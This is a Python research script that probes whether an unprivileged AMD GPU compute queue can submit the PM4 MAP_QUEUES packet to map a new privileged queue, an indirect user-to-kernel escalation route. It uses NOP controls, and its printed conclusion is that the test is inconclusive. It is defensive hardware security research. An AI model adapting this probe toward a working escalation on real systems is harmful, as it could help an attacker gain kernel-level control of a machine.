#!/usr/bin/env python3 """Can an unprivileged compute queue issue PM4 MAP_QUEUES? Round 5 showed the direct route is closed: `WRITE_DATA(dst_sel=register)` is refused on a queue with `priv_state=0` and accepted with `priv_state=1` (`../hw/EVIDENCE-mec-pm4-priv.txt`). The obvious follow-up is the *indirect* route: unprivileged queue --MAP_QUEUES--> map a new queue whose MQD sets priv_state=1 --WRITE_DATA(register) on the new queue--> registers If that works it is a full user->kernel escalation, and it would not need any memory safety bug at all — just a missing privilege check on one packet. `MAP_QUEUES` is built by KFD's packet manager (`pm_map_queues_v9`) and submitted on the kernel-owned HIQ/KIQ ring, never from user queues. Whether MEC *enforces* that is the question; "the kernel never does it" is not a control. Packet, from `struct pm4_mes_map_queues` (kfd_pm4_headers_ai.h): ordinal1 header ordinal2 extended_engine_sel:2 @2, queue_sel:2 @4, gws_control_queue @14, queue_type:3 @21, engine_sel:3 @26, num_queues:3 @29 ordinal3 check_disable @1, doorbell_offset:26 @2 mqd_addr_lo/hi, wptr_addr_lo/hi Oracle, the same one Round 5 validated: a privilege violation **faults the queue**, while an accepted packet retires and the queue stays alive. A NOP before and after distinguishes "refused" from "the queue was already dead". usage: PYTHONPATH=/root/psp/tinygrad mec_pm4_mapqueues_probe.py --apply [--priv] """ import argparse import struct import time PACKET3_NOP = 0x10 PACKET3_MAP_QUEUES = 0xa2 PACKET3_UNMAP_QUEUES = 0xa3 def pkt3(op, count): return (3 << 30) | ((count & 0x3FFF) << 16) | ((op & 0xFF) << 8) def map_queues(mqd_mc, wptr_mc, doorbell_off): o2 = ((0 & 3) << 2) | ((2 & 3) << 4) | ((0 & 7) << 21) | ((0 & 7) << 26) \ | ((1 & 7) << 29) # queue_sel=2, queue_type=0 compute, engine_sel=0 o3 = ((doorbell_off & 0x3ffffff) << 2) return [pkt3(PACKET3_MAP_QUEUES, 5), o2, o3, mqd_mc & 0xffffffff, (mqd_mc >> 32) & 0xffffffff, wptr_mc & 0xffffffff, (wptr_mc >> 32) & 0xffffffff] def main(): ap = argparse.ArgumentParser() ap.add_argument('--apply', action='store_true') ap.add_argument('--priv', action='store_true', help='live-flip CP_HQD_PQ_CONTROL.priv_state on the submitting ' 'queue; the control that shows whether any refusal is about ' 'privilege rather than the packet being unsupported') args = ap.parse_args() if not args.apply: print('dry run') return 0 from tinygrad import Device adev = Device["AMD"].iface.dev_impl mc = adev.paddr2mc ring = adev.mm.palloc(0x1000, zero=True, boot=False) rptr = adev.mm.palloc(0x1000, zero=True, boot=False) wptr = adev.mm.palloc(0x1000, zero=True, boot=False) eop = adev.mm.palloc(0x1000, zero=True, boot=False) # the queue we ask MEC to map for us victim_mqd = adev.mm.palloc(0x1000, zero=True, boot=False) victim_wptr = adev.mm.palloc(0x1000, zero=True, boot=False) doorbell = adev.gfx.setup_ring(ring_addr=mc(ring), ring_size=0x1000, rptr_addr=mc(rptr), wptr_addr=mc(wptr), eop_addr=mc(eop), eop_size=0x1000, idx=0, aql=False) if args.priv: adev.gfx._grbm_select(me=1, pipe=0, queue=0) ctl = adev.reg('regCP_HQD_PQ_CONTROL') ctl.write(ctl.read() | ctl.encode(priv_state=1, kmd_queue=1)) adev.gfx._grbm_select() print('submitting queue: %s (doorbell 0x%x)' % ( 'priv_state=1' if args.priv else 'priv_state=0 (unprivileged)', doorbell)) pos = [0] def submit(dwords, timeout_s=1.0): off = pos[0] * 4 blob = struct.pack('<%dI' % len(dwords), *dwords) adev.vram.view(ring + off, len(blob))[:] = blob adev.gmc.flush_hdp() pos[0] += len(dwords) adev.vram.view(wptr, 8)[:] = struct.pack('= pos[0]: return True, time.time() - t0 time.sleep(0.002) return False, time.time() - t0 # An all-zero MQD is not a fair test: MAP_QUEUES may simply wait for a queue that # can never come up, which looks identical to a privilege stall. Seed the victim # MQD with the one the driver just built for our own queue, so the packet has # something plausible to map. try: src = adev.gfx.mqd_paddr[0] adev.vram.view(victim_mqd, 0x1000)[:] = bytes(adev.vram.view(src, 0x1000)[:]) adev.gmc.flush_hdp() print(' seeded victim MQD from the driver-built MQD at paddr 0x%x' % src) except Exception as e: print(' could not seed MQD (%s); an empty MQD makes a stall uninterpretable' % e) ok, _ = submit([pkt3(PACKET3_NOP, 0), 0]) print(' control: NOP before retired=%s' % ok) if not ok: print(' queue not running -- inconclusive') return 0 okm, dtm = submit(map_queues(mc(victim_mqd), mc(victim_wptr), 0x20)) print(' MAP_QUEUES retired=%s (%.1f ms)' % (okm, 1000 * dtm)) okn, _ = submit([pkt3(PACKET3_NOP, 0), 0]) print(' control: NOP after retired=%s' % okn) print('\n=== result (%s)' % ('priv_state=1' if args.priv else 'priv_state=0')) if okm and okn: print(' MAP_QUEUES was ACCEPTED and the queue survived.') if not args.priv: print(' On an unprivileged queue that is the interesting case: the next') print(' step is whether the mapped queue can be given priv_state=1 via') print(' its MQD, which would complete a user->kernel chain.') elif not okm or not okn: print(' the queue stopped retiring at/after MAP_QUEUES.') print(' A stall on its own says NOTHING about privilege: it is equally') print(' consistent with the packet not being serviceable on this ring at all.') print(' Observed across both modes in practice (priv_state=0 and 1 both') print(' stall, with and without a seeded MQD), which is exactly the') print(' not-serviceable case -- MAP_QUEUES is an HIQ/KIQ-pipe packet. So the') print(' indirect escalation chain is UNTESTED here, not closed.') return 0 if __name__ == '__main__': raise SystemExit(main())